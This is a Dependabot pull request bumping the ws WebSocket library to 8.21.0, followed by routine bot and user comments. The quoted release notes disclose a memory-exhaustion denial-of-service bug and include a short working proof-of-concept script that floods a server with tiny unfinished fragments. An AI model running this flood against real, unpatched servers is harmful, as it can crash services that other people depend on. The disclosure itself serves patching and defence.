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chore(deps): bump ws from 8.19.0 to 8.21.0#123

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chore(deps): bump ws from 8.19.0 to 8.21.0#123
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Bumps ws from 8.19.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

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Bumps [ws](https://github.com/websockets/ws) from 8.19.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.19.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels May 29, 2026
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@JosueBrenes

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@dependabot rebase

@dependabot @github

dependabot Bot commented on behalf of github Jun 30, 2026

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Superseded by #129.

@dependabot dependabot Bot closed this Jun 30, 2026
@dependabot dependabot Bot deleted the dependabot/npm_and_yarn/ws-8.21.0 branch June 30, 2026 18:58
@JosueBrenes

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@dependabot rebase

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Looks like this PR is closed. If the branch still exists, you can re-open the PR and then use @dependabot rebase or @dependabot recreate. If the branch was deleted, Dependabot will create a new PR on the next scheduled run, or you can trigger an update from the Dependency graph page.

@JosueBrenes

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@dependabot rebase

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Looks like this PR is closed. If the branch still exists, you can re-open the PR and then use @dependabot rebase or @dependabot recreate. If the branch was deleted, Dependabot will create a new PR on the next scheduled run, or you can trigger an update from the Dependency graph page.

@JosueBrenes

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@dependabot rebase

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Looks like this PR is closed. If the branch still exists, you can re-open the PR and then use @dependabot rebase or @dependabot recreate. If the branch was deleted, Dependabot will create a new PR on the next scheduled run, or you can trigger an update from the Dependency graph page.

@JosueBrenes

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@dependabot merge

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@dependabot reopen

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